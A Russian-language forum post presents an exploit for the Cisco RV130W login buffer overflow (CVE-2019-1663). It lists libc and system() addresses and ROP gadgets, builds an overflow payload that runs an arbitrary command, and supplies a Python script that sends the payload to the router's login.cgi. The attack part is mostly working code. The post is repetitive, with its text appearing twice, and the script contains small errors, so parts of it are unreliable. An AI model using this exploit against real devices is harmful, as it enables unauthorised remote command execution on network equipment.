Доброго времени суток, форумчане. Сегодня мы разберём свежий эксплойт для переполнения буфера Cisco rv130w версии 1.0.3.44.
Кто не знает что такое переполнение буфера:
переполнение буфера - явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера, и как правило, что записывается за пределами буфера называется - shellcode.
Что такое шеллкод:
шелл-код - код запуска оболочки, это двоичный исполняемый код, который обычно передаёт управление командному процессору, например '/bin/sh'
Важно знать: один стек равен 4 байтам.
Как выглядит переполнение буфера:
А вот тут показывается, как выглядит удалённое переполнение буфера:
Стоит упомянуть, что чем меньше шеллкод, тем лучше, так как, если шеллкод больше буфера, то шеллкод не отработает. Например буфер=64 байта, а шеллкод=128 байт - это не правильно. Правильно будет вот так: буфер=64 байта, а шеллкод=34 байта.
Начинаем!
Ссылка на продукт:
Номер CVE: CVE-2019-1663
Уязвимые функции и их адрес в памяти.
0x357fc000 - libc base addr
0x35849144 - system() addr
0x0002eaf8 / 0x3582AAF8: pop {r4, r5, lr}; add sp, sp, #8; bx lr
0x0000c11c / 0x3580811C: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc}
0x00041308 / 0x3583D308: mov r0, sp; blx r2
Эксплойт работает по такому типу:
gadget 1 system() мусор gadget 2 мусор мусор мусор мусор мусор gadget 3 текст
[0x3582AAF8][0x35849144][AAAA][0x3580811C][BBBB][CCCC][DDDD][EEEE][FFFF][0x3583D308][комманда]
payload:
1. В этой части пэйлода:
Мы заполняем буфер мусором на 446 байтов.
2. Далее мы уже вводим адреса в памяти уязвимых функции + мусор на 24 байта:
3. Мы вводим любую команду, которая будет выполнена удалённо:
Нулевой байт тут для того, чтобы чтобы прекратилось копирование стека в буфер.
Так же у меня есть скрипт на python для переполнения буфера.
Спасибо за прочтение моей статьи. Надеюсь, что статья была для вас полезна.
P.S. Это моя вторая статья.
Кто не знает что такое переполнение буфера:
переполнение буфера - явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера, и как правило, что записывается за пределами буфера называется - shellcode.
Что такое шеллкод:
шелл-код - код запуска оболочки, это двоичный исполняемый код, который обычно передаёт управление командному процессору, например '/bin/sh'
Важно знать: один стек равен 4 байтам.
Как выглядит переполнение буфера:
А вот тут показывается, как выглядит удалённое переполнение буфера:
Стоит упомянуть, что чем меньше шеллкод, тем лучше, так как, если шеллкод больше буфера, то шеллкод не отработает. Например буфер=64 байта, а шеллкод=128 байт - это не правильно. Правильно будет вот так: буфер=64 байта, а шеллкод=34 байта.
Начинаем!
Ссылка на продукт:
Ссылка скрыта от гостей
Номер CVE: CVE-2019-1663
Уязвимые функции и их адрес в памяти.
0x357fc000 - libc base addr
0x35849144 - system() addr
0x0002eaf8 / 0x3582AAF8: pop {r4, r5, lr}; add sp, sp, #8; bx lr
0x0000c11c / 0x3580811C: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc}
0x00041308 / 0x3583D308: mov r0, sp; blx r2
Эксплойт работает по такому типу:
gadget 1 system() мусор gadget 2 мусор мусор мусор мусор мусор gadget 3 текст
[0x3582AAF8][0x35849144][AAAA][0x3580811C][BBBB][CCCC][DDDD][EEEE][FFFF][0x3583D308][комманда]
payload:
Код:
UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35ping 192.168.1.100\x00"`
1. В этой части пэйлода:
Код:
UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY
2. Далее мы уже вводим адреса в памяти уязвимых функции + мусор на 24 байта:
Код:
`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35
3. Мы вводим любую команду, которая будет выполнена удалённо:
Код:
ping 192.168.1.100\x00"`
Так же у меня есть скрипт на python для переполнения буфера.
Python:
import requests
def main():
command = "ping 192.168.1.100\x00" # нулевой байт тут для того чтобы чтобы прекратилось копирование стека в буфер.
print ("Sending payload to execute [" + command + "]\n")
rop = "\xf8\xaa\x82\x35"+"\x44\x91\x84\x35"+"AAAA"+"\x1c\x81\x80\x35"+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF"+"\x08\xd3\x83\x35" # адреса в памяти уязвимых функций и мусорные байты.
payload = ("Z" * 446) + rop + command # создание пэйлода
target = "https://192.168.1.100:443/login.cgi"
data = {'submit_button': 'login','submit_type': '','gui_action': '','default_login': '1','wait_time': '0','change_action': '','enc': '1','user': 'cisco','pwd': payload,'sel_lang': 'EN'}
r = requests.post(target, payload=data) # отправление пэйлода
print ("Payload sent to", target)
if __name__ == "__main__":
main()
Спасибо за прочтение моей статьи. Надеюсь, что статья была для вас полезна.
P.S. Это моя вторая статья.